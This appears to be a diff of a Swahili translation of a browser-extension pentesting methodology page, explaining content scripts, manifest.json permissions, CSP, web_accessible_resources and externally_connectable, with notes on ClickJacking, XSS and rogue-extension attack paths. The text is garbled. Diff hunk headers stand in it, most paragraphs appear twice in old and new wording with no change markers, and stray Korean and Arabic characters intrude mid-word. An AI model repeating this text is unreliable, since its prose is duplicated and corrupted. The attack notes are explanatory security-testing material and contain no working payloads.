Extensions za kivinjari zimeandikwa kwa JavaScript na hupakiwa na kivinjari katika hali ya nyuma. Ina [DOM](https://www.w3schools.com/js/js_htmldom.asp) yake lakini inaweza kuingiliana na DOM za tovuti nyingine. Hii inamaanisha kwamba inaweza kuhatarisha usiri, uadilifu, na upatikanaji (CIA) wa tovuti nyingine.
Extensions za browser zimeandikwa kwa JavaScript na zinasomwa na browser kwa background. Ina DOM yake lakini inaweza kuingiliana na DOM za tovuti nyingine. Hii inamaanisha inaweza kuhatarisha usiri, uadilifu, na upatikana (CIA) wa tovuti nyingine.
## Main Components
Muonekano wa nyongeza unaonekana bora unapofanywa kuwa wazi na unajumuisha vipengele vitatu. Hebu tuangalie kila kipengele kwa undani.
Mapangilio ya extension yanaonekana bora zaidi yanapoweza kuonekana kwa picha na yanaundwa na vipengele vitatu. Hebu 튜angalie kila kipengele kwa undani.
<figure><img src="../../images/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
### **Content Scripts**
Kila script ya maudhui ina ufikiaji wa moja kwa moja kwa DOM ya **ukurasa mmoja wa wavuti** na hivyo inakabiliwa na **ingizo linaloweza kuwa na madhara**. Hata hivyo, script ya maudhui haina ruhusa nyingine isipokuwa uwezo wa kutuma ujumbe kwa kiini cha nyongeza.
Kila content script ina ufikiaji wa moja kwa moja kwenye DOM ya **single web page** na kwa hivyo inakabiliwa na **potentially malicious input**. Hata hivyo, content script haina ruhusa zaidi isipokuwa uwezo wa kutuma ujumbe kwa extension core.
### **Extension Core**
Kiini cha nyongeza kina ruhusa nyingi za nyongeza, lakini kiini cha nyongeza kinaweza kuingiliana tu na maudhui ya wavuti kupitia [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) na scripts za maudhui. Pia, kiini cha nyongeza hakina ufikiaji wa moja kwa moja kwa mashine mwenyeji.
Extension core ina nyingi ya vibali/ufikiaji vya extension, lakini extension core inaweza kuingiliana na web content tu kupitia XMLHttpRequest na content scripts. Pia, extension core haina ufikiaji wa moja kwa moja kwa host machine.
### **Native Binary**
Nyongeza inaruhusu binary asilia ambayo inaweza **kufikia mashine mwenyeji kwa ruhusa kamili ya mtumiaji.** Binary asilia inaingiliana na kiini cha nyongeza kupitia Kiolesura cha Programu ya Plugin ya Netscape ya kawaida ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) inayotumiwa na Flash na nyongeza nyingine za kivinjari.
Extension inaweza kuruhusu native binary ambayo inaweza **access the host machine with the users full privileges.** Native binary inaingiliana na extension core kupitia Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) ya kawaida iliyotumika na Flash na plug-ins nyingine za browser.
### Boundaries
### Mipaka
> [!CAUTION]
> Ili kupata ruhusa kamili za mtumiaji, mshambuliaji lazima amshawishi nyongeza kupitisha ingizo la hatari kutoka kwa script ya maudhui hadi kiini cha nyongeza na kutoka kwa kiini cha nyongeza hadi binary asilia.
> Ili kupata users full privileges, mshambuliaji lazima amshawishi extension kusafirisha malicious input kutoka content script kwenda extension's core na kutoka extension's core kwenda native binary.
Kila kipengele cha nyongeza kimewekwa mbali na kingine kwa **mipaka yenye ulinzi mkali**. Kila kipengele kinakimbia katika **mchakato tofauti wa mfumo wa uendeshaji**. Scripts za maudhui na viini vya nyongeza vinakimbia katika **mchakato wa sandbox** ambao haupatikani kwa huduma nyingi za mfumo wa uendeshaji.
Kila kipengele cha extension kimegawanywa kwa kila mmoja kwa **strong protective boundaries**. Kila kipengele kinaendesha katika **separate operating system process**. Content scripts na extension cores zinaendesha katika **sandbox processes** ambazo hazipatikani kwa huduma nyingi za mfumo wa uendeshaji.
Zaidi ya hayo, scripts za maudhui zimej separated kutoka kwa kurasa zao za wavuti kwa **kukimbia katika heap tofauti ya JavaScript**. Script ya maudhui na ukurasa wa wavuti vina **ufikiaji wa DOM sawa ya msingi**, lakini viwili **havibadilishani viashiria vya JavaScript**, kuzuia kuvuja kwa kazi za JavaScript.
Zaidi ya hayo, content scripts zimetengwa na kurasa zao za wavuti kwa **running in a separate JavaScript heap**. The content script and web page have **access to the same underlying DOM**, lakini vyao viwili **never exchange JavaScript pointers**, preventing the leaking of JavaScript functionality.
## **`manifest.json`**
Nyongeza ya Chrome ni tu folda ya ZIP yenye [.crx file extension](https://www.lifewire.com/crx-file-2620391). Kiini cha nyongeza ni **`manifest.json`** faili katika mzizi wa folda, ambayo inaelezea muundo, ruhusa, na chaguzi zingine za usanidi.
Extension ya Chrome ni tu folda ya ZIP yenye [.crx file extension](https://www.lifewire.com/crx-file-2620391). Core ya extension ni faili ya **`manifest.json`** kwenye mzizi wa folda, ambayo inaelezea layout, permissions, na chaguzi nyingine za configuration.
Example:
```json
@ -61,7 +61,7 @@ Example:
```
### `content_scripts`
Content scripts zinapakiwa kila wakati mtumiaji anapohamia kwenye ukurasa unaolingana, katika kesi yetu ukurasa wowote unaolingana na **`https://example.com/*`** na usiozingatia regex **`*://*/*/business*`**. Zinatekelezwa **kama vile scripts za ukurasa wenyewe** na zina ufikiaji wa kiholela kwa [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) wa ukurasa.
Content scripts **zinapakiwa** kila mtumiaji **anapotembelea ukurasa unaofanana**, katika kesi yetu ukurasa wowote unaofanana na usemi **`https://example.com/*`** na usiofanana na regex **`*://*/*/business*`**. Zinakimbia **kama scripts za ukurasa mwenyewe** na zina ufikaji wa aina yoyote kwa [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model).
```json
"content_scripts": [
{
@ -76,9 +76,9 @@ Content scripts zinapakiwa kila wakati mtumiaji anapohamia kwenye ukurasa unaoli
}
],
```
Ili kujumuisha au kutenga URL zaidi, pia inawezekana kutumia **`include_globs`** na **`exclude_globs`**.
Ili kujumuisha au kutokujumuisha URLs zaidi, pia inawezekana kutumia **`include_globs`** na **`exclude_globs`**.
Hii ni mfano wa script ya maudhui ambayo itaongeza kitufe cha maelezo kwenye ukurasa wakati [API ya hifadhi](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) inapotumiwa kupata thamani ya `message` kutoka kwenye hifadhi ya nyongeza.
Huu ni mfano wa skripti ya maudhui ambayo itaongeza kitufe cha explain kwenye ukurasa wakati [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) itakapotumika ili kupata thamani ya `message` kutoka kwa hifadhi ya extension.
```js
chrome.storage.local.get("message", (result) => {
let div = document.createElement("div")
@ -91,24 +91,24 @@ document.body.appendChild(div)
```
<figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
Ujumbe unatumwa kwa kurasa za nyongeza na script ya maudhui wakati kitufe hiki kinapobonyezwa, kupitia matumizi ya [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Hii ni kutokana na kikomo cha script ya maudhui katika ufikiaji wa moja kwa moja wa APIs, ambapo `storage` ni miongoni mwa visثi vichache. Kwa kazi zaidi ya visثi hivi, ujumbe unatumwa kwa kurasa za nyongeza ambazo script za maudhui zinaweza kuwasiliana nazo.
Ujumbe hutumwa kwa ukurasa za extension na content script wakati kitufe hiki kinabofiwa, kwa kutumia [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Hii ni kutokana na vikwazo vya content script katika ufikiaji wa moja kwa moja wa APIs, huku `storage` ikiwa mojawapo ya vichache vinavyoruhusiwa. Kwa kazi ambazo zinazidi utekelezaji wa vikwazo hivi, ujumbe hutumwa kwa extension pages ambazo content scripts zinaweza kuwasiliana nazo.
> [!WARNING]
> Kulingana na kivinjari, uwezo wa script ya maudhui unaweza kutofautiana kidogo. Kwa vivinjari vinavyotegemea Chromium, orodha ya uwezo inapatikana katika [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), na kwa Firefox, [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) inatumika kama chanzo kikuu.\
> Pia inafaa kutajwa kwamba script za maudhui zina uwezo wa kuwasiliana na script za nyuma, na kuwapa uwezo wa kutekeleza vitendo na kurudisha majibu.
> Kulingana na browser, uwezo wa content script unaweza kutofautiana kidogo. Kwa browsers zinazotegemea Chromium, orodha ya uwezo inapatikana katika the [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), na kwa Firefox, the [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) ni chanzo kikuu.\
> Pia inafaa kutambua kuwa content scripts zina uwezo wa kuwasiliana na background scripts, zikiruhusu kutekeleza vitendo na kurudisha majibu.
Ili kuona na kufanyia kazi script za maudhui katika Chrome, menyu ya zana za maendeleo za Chrome inaweza kufikiwa kutoka Options > More tools > Developer tools AU kwa kubonyeza Ctrl + Shift + I.
Ili kuona na kutatua matatizo ya content scripts katika Chrome, menyu ya Chrome developer tools inaweza kufikiwa kupitia Options > More tools > Developer tools au kwa kubonyeza Ctrl + Shift + I.
Baada ya zana za maendeleo kuonyeshwa, **Source tab** inapaswa kubonyezwa, ikifuatiwa na **Content Scripts** tab. Hii inaruhusu kuangalia script za maudhui zinazotumika kutoka nyongeza mbalimbali na kuweka alama za kuvunja ili kufuatilia mtiririko wa utekelezaji.
Mara tu developer tools zikionekana, bonyeza **Source tab**, kisha **Content Scripts** tab. Hii inaruhusu kuona content scripts zinazoendelea kutoka kwa extensions mbalimbali na kuweka breakpoints ili kufuatilia mtiririko wa utekelezaji.
### Script za maudhui zilizoongezwa
### Imeingizwa content scripts
> [!TIP]
> Kumbuka kwamba **Script za Maudhui si lazima** kwani pia inawezekana **kudumu** **kuongeza** script na **kuziingiza kimaandishi** kwenye kurasa za wavuti kupitia **`tabs.executeScript`**. Hii kwa kweli inatoa **udhibiti wa kina** zaidi.
> Kumbuka kwamba **Content Scripts si lazima** kwani pia inawezekana **dynamically** **kuingiza** scripts na **programatically kuziingiza** kwenye kurasa za wavuti kupitia **`tabs.executeScript`**. Hii kwa kweli inatoa **udhibiti wa kina zaidi**.
Kwa kuingiza script ya maudhui kimaandishi, nyongeza inahitaji kuwa na [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) kwa ukurasa ambao script zinapaswa kuingizwa. Ruhusa hizi zinaweza kupatikana ama kwa **kuziomba** ndani ya hati ya nyongeza au kwa muda wa muda kupitia [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
Kwa kuingiza content script kwa njia ya programmatic, extension inatakiwa kuwa na [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) kwa ukurasa ambao scripts zitaingizwa. Ruhusa hizi zinaweza kupatikana kwa kuziomba ndani ya manifest ya extension au kwa muda mfupi kupitia [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
#### Mfano wa nyongeza inayotegemea activeTab
#### Mfano activeTab-based extension
```json:manifest.json
{
"name": "My extension",
@ -125,7 +125,7 @@ Kwa kuingiza script ya maudhui kimaandishi, nyongeza inahitaji kuwa na [host per
}
}
```
- **Ingiza faili la JS kwa kubonyeza:**
- **Inject faili ya JS kwa kubonyeza:**
```javascript
// content-script.js
document.body.style.backgroundColor = "orange"
@ -138,7 +138,7 @@ files: ["content-script.js"],
})
})
```
- **Ingiza kazi** kwa kubonyeza:
- **Inject a function** wakati wa kubofya:
```javascript
//service-worker.js - Inject a function
function injectedFunction() {
@ -152,7 +152,7 @@ func: injectedFunction,
})
})
```
#### Mfano na ruhusa za skripti
#### Mfano wenye ruhusa za scripting
```javascript
// service-workser.js
chrome.scripting.registerContentScripts([
@ -167,19 +167,19 @@ js: ["contentScript.js"],
// Another example
chrome.tabs.executeScript(tabId, { file: "content_script.js" })
```
Ili kujumuisha au kutengwa kwa URLs zaidi, pia inawezekana kutumia **`include_globs`** na **`exclude_globs`**.
Ili kujumuisha au kuondoa URL zaidi, pia inawezekana kutumia **`include_globs`** na **`exclude_globs`**.
### Content Scripts `run_at`
### Scripts za Maudhui `run_at`
Sehemu ya `run_at` inasimamia **wakati faili za JavaScript zinapoinjizwa kwenye ukurasa wa wavuti**. Thamani inayopendekezwa na ya kawaida ni `"document_idle"`.
Uwanja wa `run_at` unadhibiti **mara gani faili za JavaScript zinaingizwa kwenye ukurasa wa wavuti**. Thamani inayopendekezwa na ya chaguo-msingi ni `"document_idle"`.
Thamani zinazowezekana ni:
- **`document_idle`**: Kadri inavyowezekana
- **`document_start`**: Baada ya faili zozote kutoka `css`, lakini kabla ya DOM nyingine yoyote kujengwa au script nyingine yoyote kuendeshwa.
- **`document_end`**: Mara moja baada ya DOM kukamilika, lakini kabla ya rasilimali ndogo kama picha na fremu kupakiwa.
- **`document_start`**: Baada ya faili yoyote kutoka `css`, lakini kabla DOM nyingine yoyote iundwe au script nyingine yoyote iendeshe.
- **`document_end`**: Mara DOM itakapokamilika, lakini kabla rasilimali ndogo kama picha na frames zimepakiwa.
#### Via `manifest.json`
#### Kupitia `manifest.json`
```json
{
"name": "My extension",
@ -208,18 +208,18 @@ js: ["contentScript.js"],
```
### `background`
Meseji zinazotumwa na scripts za maudhui zinapokelewa na **background page**, ambayo ina jukumu kuu katika kuratibu vipengele vya nyongeza. Kwa kuzingatia, background page inadumu wakati wote wa maisha ya nyongeza, ikifanya kazi kwa siri bila mwingiliano wa moja kwa moja na mtumiaji. Ina Model ya Kitu ya Hati (DOM) yake mwenyewe, ikiruhusu mwingiliano tata na usimamizi wa hali.
Ujumbe unaotumwa na content scripts huwasilishwa kwa **background page**, ambayo inatimiza jukumu kuu la kuratibu vipengele vya extension. Jambo la muhimu, background page inadumu kwa muda wa maisha ya extension, ikifanya kazi kimya bila mwingiliano wa moja kwa moja wa mtumiaji. Ina Document Object Model (DOM) yake mwenyewe, ikiruhusu mwingiliano tata na usimamizi wa hali.
**Mambo Muhimu**:
**Key Points**:
- **Jukumu la Background Page:** Inafanya kazi kama kituo cha neva kwa nyongeza, kuhakikisha mawasiliano na uratibu kati ya sehemu mbalimbali za nyongeza.
- **Uendelevu:** Ni kitu kinachokuwepo kila wakati, kisichoonekana kwa mtumiaji lakini muhimu kwa utendaji wa nyongeza.
- **Uundaji wa Otomati:** Ikiwa haijafafanuliwa wazi, kivinjari kitaunda kiotomatiki background page. Ukurasa huu ulioundwa kwa otomatiki utajumuisha scripts zote za background zilizotajwa katika hati ya nyongeza, kuhakikisha uendeshaji usio na mshono wa kazi za background za nyongeza.
- **Background Page Role:** Inafanya kazi kama kitovu cha udhibiti kwa extension, ikihakikisha mawasiliano na uratibu kati ya sehemu mbalimbali za extension.
- **Persistence:** Ni kitu kinachodumu kila wakati, kisichoonekana kwa mtumiaji lakini muhimu kwa utendaji wa extension.
- **Automatic Generation:** Ikiwa haijatamkwa wazi, browser itaunda background page kiotomatiki. Kurasa hii iliyotengenezwa kiotomatiki itajumuisha background scripts zote zilizotajwa kwenye manifest ya extension, kuhakikisha utekelezaji bila matatizo wa kazi za background za extension.
> [!TIP]
> Urahisi unaotolewa na kivinjari katika kuunda kiotomatiki background page (wakati haijatangazwa wazi) unahakikisha kwamba scripts zote muhimu za background zimeunganishwa na zinafanya kazi, zikifanya mchakato wa kuweka nyongeza kuwa rahisi.
> Urahisi unaotolewa na browser kwa kuunda background page kiotomatiki (wakati haijatangazwa wazi) unahakikisha background scripts zote muhimu zimeingizwa na zinafanya kazi, kurahisisha mchakato wa usanidi wa extension.
Mfano wa script ya background:
Mfano wa background script:
```js
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
if (request == "explain") {
@ -227,34 +227,34 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
}
})
```
Inatumia [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) kusikiliza ujumbe. Wakati ujumbe wa `"explain"` unapopokelewa, inatumia [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) kufungua ukurasa katika tab mpya.
Inatumia [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) kusikiliza ujumbe. Wakati ujumbe wa "explain" unapopokelewa, inatumia [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) kufungua ukurasa kwenye tabo mpya.
Ili kufuatilia skripti ya nyuma unaweza kwenda kwenye **maelezo ya nyongeza na kukagua huduma ya mfanyakazi,** hii itafungua zana za maendeleo na skripti ya nyuma:
Ili ku-debug background script unaweza kwenda kwenye **extension details and inspect the service worker,** hii itaifungua developer tools ikionyesha background script:
<figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
### Kurasa za Chaguzi na Nyingine
### Options pages and other
Nyongeza za kivinjari zinaweza kuwa na aina mbalimbali za kurasa:
Browser extensions zinaweza kuwa na aina mbalimbali za kurasa:
- **Kurasa za Kitendo** zinaonyeshwa katika **orodha ya kushuka wakati ikoni ya nyongeza** inabonyezwa.
- Kurasa ambazo nyongeza it **pakia katika tab mpya**.
- **Kurasa za Chaguzi**: Ukurasa huu unaonyeshwa juu ya nyongeza wakati unabonyezwa. Katika hati ya awali, katika kesi yangu niliweza kufikia ukurasa huu katika `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` au kubonyeza:
- **Action pages** zinaonyeshwa katika **drop-down when the extension ico**n is clicked.
- Kurasa ambazo extension itapakia zinaweza kuonekana katika **load in a new tab**.
- **Option Pages**: Ukurasa huu unaonyeshwa juu ya extension wakati unabonyezwa. Katika manifest ya awali, katika kesi yangu niliweza kufikia ukurasa huu katika `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` au kwa kubofya:
<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
Kumbuka kwamba kurasa hizi si za kudumu kama kurasa za nyuma kwani zinapakia maudhui kwa mahitaji. Licha ya hili, zinashiriki uwezo fulani na ukurasa wa nyuma:
Kumbuka kuwa kurasa hizi hazidumu kama background pages kwani zinapakia maudhui dynamically zinapohitajika. Licha ya hayo, zina sifa fulani zinazofanana na background page:
- **Mawasiliano na Skripti za Maudhui:** Kama ilivyo kwa ukurasa wa nyuma, kurasa hizi zinaweza kupokea ujumbe kutoka kwa skripti za maudhui, kurahisisha mwingiliano ndani ya nyongeza.
- **Upatikanaji wa APIs Maalum za Nyongeza:** Kurasa hizi zina upatikanaji mpana wa APIs maalum za nyongeza, kulingana na ruhusa zilizofafanuliwa kwa nyongeza.
- **Communication with Content Scripts:** Kama background page, kurasa hizi zinaweza kupokea ujumbe kutoka kwa Content Scripts, kuwezesha mwingiliano ndani ya extension.
- **Access to Extension-Specific APIs:** Kurasa hizi zina ufikiaji mpana wa Extension-Specific APIs, kutegemea ruhusa zilizowekwa kwa extension.
### `permissions` & `host_permissions`
**`permissions`** na **`host_permissions`** ni entries kutoka `manifest.json` ambazo zitaonyesha **ni ruhusa zipi** nyongeza za kivinjari zina (hifadhi, eneo...) na **katika kurasa zipi za wavuti**.
**`permissions`** na **`host_permissions`** ni vipengele katika `manifest.json` vinavyoonyesha **ni ruhusa gani** browser extension ina (storage, location...) na **ni kwenye kurasa gani za wavuti**.
Kwa kuwa nyongeza za kivinjari zinaweza kuwa na **mamlaka makubwa**, moja mbaya au iliyovunjwa inaweza kumruhusu mshambuliaji **njia tofauti za kuiba taarifa nyeti na kupeleleza mtumiaji**.
Kwa kuwa browser extensions zinaweza kuwa zenye **privileged**, extension yenye nia mbaya au iliyodukuliwa inaweza kumruhusu mshambuliaji **njia mbalimbali za kuiba taarifa nyeti na kumfuatilia mtumiaji**.
Angalia jinsi mipangilio hii inavyofanya kazi na jinsi inaweza kutumika vibaya katika:
Angalia jinsi vipimo hivi vinavyofanya kazi na jinsi vinavyoweza kutumiwa vibaya katika:
{{#ref}}
browext-permissions-and-host_permissions.md
@ -262,13 +262,14 @@ browext-permissions-and-host_permissions.md
### `content_security_policy`
**sera ya usalama wa maudhui** inaweza kutangazwa pia ndani ya `manifest.json`. Ikiwa kuna moja iliyofafanuliwa, inaweza kuwa **hatari**.
**content security policy** pia inaweza kutangazwa ndani ya `manifest.json`. Ikiwa imewekwa, inaweza kuwa **dhaifu**.
Mipangilio ya default kwa kurasa za nyongeza za kivinjari ni ya kukatisha tamaa:
Mipangilio ya default kwa kurasa za browser extension ni ya kufunga kwa kiasi fulani:
```bash
script-src 'self'; object-src 'self';
```
Kwa maelezo zaidi kuhusu CSP na uwezekano wa kupita angalia:
Kwa habari zaidi kuhusu CSP na potential bypasses angalia:
{{#ref}}
../content-security-policy-csp-bypass/
@ -276,7 +277,7 @@ Kwa maelezo zaidi kuhusu CSP na uwezekano wa kupita angalia:
### `web_accessible_resources`
ili ukurasa wa wavuti uweze kufikia ukurasa wa Kiongezeo cha Kivinjari, ukurasa wa `.html` kwa mfano, ukurasa huu unahitaji kutajwa katika uwanja wa **`web_accessible_resources`** wa `manifest.json`.\
Ili ukurasa wa wavuti upate kufikia ukurasa wa Browser Extension, mfano `.html`, ukurasa huu unahitaji kutajwa katika uwanja wa **`web_accessible_resources`** wa `manifest.json`.\
Kwa mfano:
```javascript
{
@ -294,67 +295,68 @@ Kwa mfano:
...
}
```
Hizi kurasa zinapatikana katika URL kama:
Kurasa hizi zinapatikana kwa URL kama:
```
chrome-extension://<extension-id>/message.html
```
Katika nyongeza za umma, **extension-id inapatikana**:
Katika public extensions the **extension-id is accesible**:
<figure><img src="../../images/image (1194).png" alt="" width="375"><figcaption></figcaption></figure>
Hata hivyo, ikiwa parameter ya `manifest.json` **`use_dynamic_url`** inatumika, **id hii inaweza kuwa ya kidinamik**.
Hata hivyo, ikiwa parameter ya `manifest.json` **`use_dynamic_url`** inatumiwa, **id hii inaweza kubadilika**.
> [!TIP]
> Kumbuka kwamba hata kama ukurasa umeelezewa hapa, unaweza kuwa **umejilinda dhidi ya ClickJacking** kutokana na **Sera ya Usalama wa Maudhui**. Hivyo unahitaji pia kuangalia (sehemu ya frame-ancestors) kabla ya kuthibitisha kuwa shambulio la ClickJacking linawezekana.
> Tambua kwamba hata kama ukurasa umeonyeshwa hapa, unaweza kuwa **umehifadhiwa dhidi ya ClickJacking** shukrani kwa **Content Security Policy**. Hivyo pia unahitaji kuangalia (sehemu ya frame-ancestors) kabla ya kuthibitisha kwamba shambulio la ClickJacking linawezekana.
Kuruhusiwa kufikia kurasa hizi kunafanya kurasa hizi kuwa **zinaweza kuwa dhaifu kwa ClickJacking**:
Kuruhusiwa kufikia kurasa hizi kunafanya kurasa hizi **kuwa na uwezekano wa kuwa na udhaifu wa ClickJacking**:
{{#ref}}
browext-clickjacking.md
{{#endref}}
> [!TIP]
> Kuruhusu kurasa hizi kupakuliwa tu na nyongeza na si kwa URL za nasibu kunaweza kuzuia mashambulizi ya ClickJacking.
> Kuruhusu kurasa hizi kupakiwa tu na extension na si kutoka kwa URL za bahati nasibu kunaweza kuzuia mashambulio ya ClickJacking.
> [!CAUTION]
> Kumbuka kwamba kurasa kutoka **`web_accessible_resources`** na kurasa nyingine za nyongeza pia zina uwezo wa **kuwasiliana na scripts za nyuma**. Hivyo ikiwa moja ya kurasa hizi ina udhaifu wa **XSS** inaweza kufungua udhaifu mkubwa zaidi.
> Tambua kwamba kurasa kutoka **`web_accessible_resources`** na kurasa nyingine za extension pia zina uwezo wa **kuwasiliana na background scripts**. Kwa hivyo, ikiwa moja ya kurasa hizi ina udhaifu wa **XSS**, inaweza kufungua udhaifu mkubwa.
>
> Zaidi ya hayo, kumbuka kwamba unaweza kufungua tu kurasa zilizoonyeshwa katika **`web_accessible_resources`** ndani ya iframes, lakini kutoka kwenye tab mpya inawezekana kufikia ukurasa wowote katika nyongeza ukijua extension ID. Hivyo, ikiwa XSS inapatikana ikitumia vigezo vile vile, inaweza kutumika hata kama ukurasa haujawekwa katika **`web_accessible_resources`**.
> Zaidi ya hayo, kumbuka kwamba unaweza tu kufungua kurasa zilizoonyeshwa katika **`web_accessible_resources`** ndani ya iframes, lakini kutoka tab mpya inawezekana kufikia ukurasa wowote ndani ya extension ukijua extension ID. Kwa hiyo, ikiwa XSS imetambulika ikitumia vigezo hivyo, inaweza kutumiwa hata kama ukurasa haujatangazwa katika **`web_accessible_resources`**.
### `externally_connectable`
Kulingana na [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), Mali ya `"externally_connectable"` katika manifest inatangaza **ni nyongeza zipi na kurasa za wavuti zinaweza kuungana** na nyongeza yako kupitia [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) na [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
Kulingana na [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), mali ya manifest `"externally_connectable"` inatangaza **ni extensions na kurasa za wavuti gani zinaweza kuungana** na extension yako kupitia [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) na [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
- Ikiwa funguo ya **`externally_connectable`** **haijatangazwa** katika manifest ya nyongeza yako au imetangazwa kama **`"ids": ["*"]`**, **nyongeza zote zinaweza kuungana, lakini hakuna kurasa za wavuti zinaweza kuungana**.
- Ikiwa **IDs maalum zimeelezwa**, kama katika `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **ni hizo programu pekee** zinaweza kuungana.
- Ikiwa **mifano** imeelezwa, programu hizo za wavuti zitakuwa na uwezo wa kuungana:
- Ikiwa ufunguo wa **`externally_connectable`** haujatangazwa katika manifest ya extension yako au umeelezwa kama **`"ids": ["*"]`**, **extensions zote zinaweza kuungana, lakini hakuna kurasa za wavuti zinaweza kuungana**.
- Ikiwa **IDs maalum zimejazwa**, kama katika `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **ni programu hizo pekee** zinaweza kuungana.
- Ikiwa **matches** zimeelezwa, app hizo za wavuti zitaweza kuungana:
```json
"matches": [
"https://*.google.com/*",
"*://*.chromium.org/*",
```
- Ikiwa imeelezwa kama tupu: **`"externally_connectable": {}`**, hakuna programu au wavuti itakayoweza kuungana.
- Ikiwa imetajwa kama tupu: **`"externally_connectable": {}`**, hakuna app au wavuti itakayoweza kuunganishwa.
**Idadi ndogo ya nyongeza na URL** zilizoorodheshwa hapa, **uso wa shambulio utakuwa mdogo**.
Kadri idadi ya extensions na URLs zilizoonyeshwa hapa zitakavyokuwa chache, ndivyo attack surface itakavyokuwa ndogo.
> [!CAUTION]
> Ikiwa ukurasa wa wavuti **unaoshambuliwa na XSS au takeover** umeonyeshwa katika **`externally_connectable`**, mshambuliaji ataweza **kutuma ujumbe moja kwa moja kwa skripti ya nyuma**, akipita kabisa Skripti ya Maudhui na CSP yake.
> Ikiwa ukurasa wa wavuti **unaoweza kuathiriwa na XSS au takeover** umeonyeshwa katika **`externally_connectable`**, mshambuliaji ataweza **kutuma messages moja kwa moja kwa background script**, akikwepa kabisa Content Script na CSP yake.
>
> Kwa hivyo, hii ni **bypass yenye nguvu sana**.
> Kwa hivyo, hili ni **bypass yenye nguvu sana**.
>
> Zaidi ya hayo, ikiwa mteja ataweka nyongeza ya uongo, hata kama hairuhusiwi kuwasiliana na nyongeza iliyo hatarini, inaweza kuingiza **data za XSS katika ukurasa wa wavuti ulio ruhusiwa** au kutumia **`WebRequest`** au **`DeclarativeNetRequest`** APIs kubadilisha maombi kwenye kikoa kilicholengwa kubadilisha ombi la ukurasa kwa **faili ya JavaScript**. (Kumbuka kwamba CSP kwenye ukurasa ulio hatarini inaweza kuzuia mashambulizi haya). Wazo hili linatokana na [**hiki andiko**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
> Zaidi ya hayo, ikiwa client ataweka rogue extension, hata kama hauruhusiwi kuwasiliana na extension iliyo vunjwa, inaweza kuingiza **XSS data in an allowed web page** au kutumia vibaya **`WebRequest`** au **`DeclarativeNetRequest`** APIs kubadilisha requests kwenye domain lengwa, ikibadilisha request ya ukurasa kwa ajili ya **JavaScript file**. (Kumbuka kwamba CSP kwenye ukurasa lengwa inaweza kuzuia mashambulizi haya). This idea comes [**from this writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
## Muhtasari wa mawasiliano
## Muhtasari wa Mawasiliano
### Nyongeza <--> WebApp
### Extension <--> WebApp
Ili kuwasiliana kati ya skripti ya maudhui na ukurasa wa wavuti, ujumbe wa baada ya kawaida hutumiwa. Kwa hivyo, katika programu ya wavuti mara nyingi utapata simu za kazi **`window.postMessage`** na katika skripti ya maudhui wasikilizaji kama **`window.addEventListener`**. Tafadhali kumbuka, hata hivyo, kwamba nyongeza inaweza pia **kuwasiliana na programu ya wavuti ikituma Ujumbe wa Post** (na kwa hivyo wavuti inapaswa kuutarajia) au tu kufanya wavuti ipakue skripti mpya.
Ili kuwasiliana kati ya content script na ukurasa wa wavuti, kwa kawaida hutumika post messages. Kwa hivyo, katika web application utapata mara nyingi viito kwa function **`window.postMessage`** na katika content script listeners kama **`window.addEventListener`**. Kumbuka, hata hivyo, kwamba extension pia inaweza **kuwasiliana na web application kwa kutuma Post Message** (na kwa hivyo web inapaswa kutegemea hilo) au hatua rahisi ni kumfanya web ipakie script mpya.
